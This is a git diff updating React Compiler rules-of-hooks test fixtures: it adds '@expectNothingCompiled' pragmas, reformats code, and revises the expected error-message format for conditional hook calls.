diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.expect.md
index 116baa88bbfe..dc7e23c859ce 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @expectNothingCompiled
 // Valid because they're not matching use[A-Z].
 fooState();
 _use();
@@ -15,6 +16,7 @@ jest.useFakeTimer();
 ## Code
 
 ```javascript
+// @expectNothingCompiled
 // Valid because they're not matching use[A-Z].
 fooState();
 _use();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.js
index f5438b903235..eeb8fc549d1b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-df4d750736f3.js
@@ -1,3 +1,4 @@
+// @expectNothingCompiled
 // Valid because they're not matching use[A-Z].
 fooState();
 _use();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.expect.md
index 73471b1a5cb6..4dcc14502bd1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.expect.md
@@ -2,6 +2,7 @@
 ## Input
 
 ```javascript
+// @expectNothingCompiled
 // Valid because classes can call functions.
 // We don't consider these to be hooks.
 class C {
@@ -16,6 +17,7 @@ class C {
 ## Code
 
 ```javascript
+// @expectNothingCompiled
 // Valid because classes can call functions.
 // We don't consider these to be hooks.
 class C {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.js
index 76a3d0cf12d3..a301da630c9d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-dfde14171fcd.js
@@ -1,3 +1,4 @@
+// @expectNothingCompiled
 // Valid because classes can call functions.
 // We don't consider these to be hooks.
 class C {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.expect.md
index 1c676d98254a..ec0ebb5fb100 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // This is valid because "use"-prefixed functions called in
 // unnamed function arguments are not assumed to be hooks.
 unknownFunction(function (foo, bar) {
@@ -16,7 +16,7 @@ unknownFunction(function (foo, bar) {
 ## Code
 
 ```javascript
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // This is valid because "use"-prefixed functions called in
 // unnamed function arguments are not assumed to be hooks.
 unknownFunction(function (foo, bar) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.js
index a480e74a8370..95a724663a47 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/rules-of-hooks-fe6042f7628b.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @expectNothingCompiled @compilationMode:"infer"
 // This is valid because "use"-prefixed functions called in
 // unnamed function arguments are not assumed to be hooks.
 unknownFunction(function (foo, bar) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.expect.md
index f2acf61b5a6b..706686c7aef0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.expect.md
@@ -7,7 +7,7 @@
 
 // Valid because hooks can be used in anonymous function arguments to
 // React.memo.
-const MemoizedFunction = React.memo((props) => {
+const MemoizedFunction = React.memo(props => {
   useHook();
   return <button {...props} />;
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.js
index 1e4ee1bc58b3..287731f86af3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c.js
@@ -3,7 +3,7 @@
 
 // Valid because hooks can be used in anonymous function arguments to
 // React.memo.
-const MemoizedFunction = React.memo((props) => {
+const MemoizedFunction = React.memo(props => {
   useHook();
   return <button {...props} />;
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-6949b255e7eb.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-6949b255e7eb.expect.md
index 20c93fd9ac15..bc22e25e1364 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-6949b255e7eb.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.bail.rules-of-hooks-6949b255e7eb.expect.md
@@ -97,6 +97,7 @@ const SomeName = () => {
   (FILLER ?? FILLER, FILLER) ?? FILLER;
 
   useSomeHook();
+
   if (anyConditionCanEvenBeFalse) {
     return null;
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-368024110a58.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-368024110a58.expect.md
index 77f95cccca54..57f0fa6e7a2c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-368024110a58.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-368024110a58.expect.md
@@ -20,10 +20,15 @@ const FancyButton = forwardRef(function (props, ref) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+todo.error.invalid-rules-of-hooks-368024110a58.ts:8:4
    6 | const FancyButton = forwardRef(function (props, ref) {
    7 |   if (props.fancy) {
 >  8 |     useCustomHook();
-     |     ^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (8:8)
+     |     ^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    9 |   }
   10 |   return <button ref={ref}>{props.children}</button>;
   11 | });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-8566f9a360e2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-8566f9a360e2.expect.md
index fabbf9b089a2..520a8e4097d1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-8566f9a360e2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-8566f9a360e2.expect.md
@@ -20,10 +20,15 @@ const MemoizedButton = memo(function (props) {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+todo.error.invalid-rules-of-hooks-8566f9a360e2.ts:8:4
    6 | const MemoizedButton = memo(function (props) {
    7 |   if (props.fancy) {
 >  8 |     useCustomHook();
-     |     ^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (8:8)
+     |     ^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    9 |   }
   10 |   return <button>{props.children}</button>;
   11 | });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-a0058f0b446d.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-a0058f0b446d.expect.md
index b6e240e26c37..acd4ff9395fc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-a0058f0b446d.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.invalid-rules-of-hooks-a0058f0b446d.expect.md
@@ -19,10 +19,15 @@ function ComponentWithConditionalHook() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+todo.error.invalid-rules-of-hooks-a0058f0b446d.ts:8:4
    6 | function ComponentWithConditionalHook() {
    7 |   if (cond) {
 >  8 |     Namespace.useConditionalHook();
-     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (8:8)
+     |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    9 |   }
   10 | }
   11 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-27c18dc8dad2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-27c18dc8dad2.expect.md
index 83e94b761669..8f2783f96909 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-27c18dc8dad2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-27c18dc8dad2.expect.md
@@ -20,10 +20,15 @@ const FancyButton = React.forwardRef((props, ref) => {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+todo.error.rules-of-hooks-27c18dc8dad2.ts:8:4
    6 | const FancyButton = React.forwardRef((props, ref) => {
    7 |   if (props.fancy) {
 >  8 |     useCustomHook();
-     |     ^^^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (8:8)
+     |     ^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    9 |   }
   10 |   return <button ref={ref}>{props.children}</button>;
   11 | });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-d0935abedc42.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-d0935abedc42.expect.md
index a96e8e0878bc..343c51787e25 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-d0935abedc42.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-d0935abedc42.expect.md
@@ -19,10 +19,15 @@ React.unknownFunction((foo, bar) => {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+todo.error.rules-of-hooks-d0935abedc42.ts:8:4
    6 | React.unknownFunction((foo, bar) => {
    7 |   if (foo) {
 >  8 |     useNotAHook(bar);
-     |     ^^^^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (8:8)
+     |     ^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
    9 |   }
   10 | });
   11 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-e29c874aa913.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-e29c874aa913.expect.md
index 6ce7fc2c8bcd..a9960ad44dd6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-e29c874aa913.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.error.rules-of-hooks-e29c874aa913.expect.md
@@ -20,10 +20,15 @@ function useHook() {
 ## Error
 
 ```
+Found 1 error:
+
+Error: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
+
+todo.error.rules-of-hooks-e29c874aa913.ts:9:4
    7 |   try {
    8 |     f();
 >  9 |     useState();
-     |     ^^^^^^^^ InvalidReact: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning) (9:9)
+     |     ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)
   10 |   } catch {}
   11 | }
   12 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.expect.md
index 2ec80a9fc9a0..b1f8550330dd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 // Invalid because it's dangerous.
@@ -22,7 +22,7 @@ useCustomHook();
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 // Invalid because it's dangerous.
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.js
index 0f00a827ea03..e1a391a45f24 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 // Invalid because it's dangerous.
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.expect.md
index ebc33e5ccf96..223984b16da2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 // This is a false positive (it's valid) that unfortunately
@@ -20,7 +20,7 @@ class Foo extends Component {
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 // This is a false positive (it's valid) that unfortunately
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.js
index 872f5805ba27..42172c4a2905 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 // This is a false positive (it's valid) that unfortunately
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.expect.md
index c68c6e8ba080..00cdc9330088 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 // Technically this is a false positive.
@@ -13,9 +13,9 @@
 // the runtime error by accident.
 // So we prefer to disallow it despite the false positive.
 
-const { createHistory, useBasename } = require("history-2.1.2");
+const {createHistory, useBasename} = require('history-2.1.2');
 const browserHistory = useBasename(createHistory)({
-  basename: "/",
+  basename: '/',
 });
 
 ```
@@ -23,7 +23,7 @@ const browserHistory = useBasename(createHistory)({
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 // Technically this is a false positive.
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.js
index bcfa1652e9de..bf1818fcd05e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 // Technically this is a false positive.
@@ -9,7 +9,7 @@
 // the runtime error by accident.
 // So we prefer to disallow it despite the false positive.
 
-const { createHistory, useBasename } = require("history-2.1.2");
+const {createHistory, useBasename} = require('history-2.1.2');
 const browserHistory = useBasename(createHistory)({
-  basename: "/",
+  basename: '/',
 });
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.expect.md
index c0649482d805..841e00a8de9b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
@@ -16,7 +16,7 @@
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.js
index fe818853978e..b19cc4046193 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.expect.md
index 26c4a63175a1..abc4a6e3115f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 class ClassComponentWithHook extends React.Component {
@@ -16,7 +16,7 @@ class ClassComponentWithHook extends React.Component {
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 class ClassComponentWithHook extends React.Component {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.js
index b373065d7c31..33772904be8f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-8303403b8e4c.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 class ClassComponentWithHook extends React.Component {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.expect.md
index fdba1ca76595..ac850326cd39 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 class ClassComponentWithFeatureFlag extends React.Component {
@@ -18,7 +18,7 @@ class ClassComponentWithFeatureFlag extends React.Component {
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 class ClassComponentWithFeatureFlag extends React.Component {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.js
index da52cf2ac5ec..ceba22aab5c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-99b5c750d1d1.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 class ClassComponentWithFeatureFlag extends React.Component {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.expect.md
index ecdca8a2a8ed..ea4618a3ae5f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
@@ -16,7 +16,7 @@
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.js
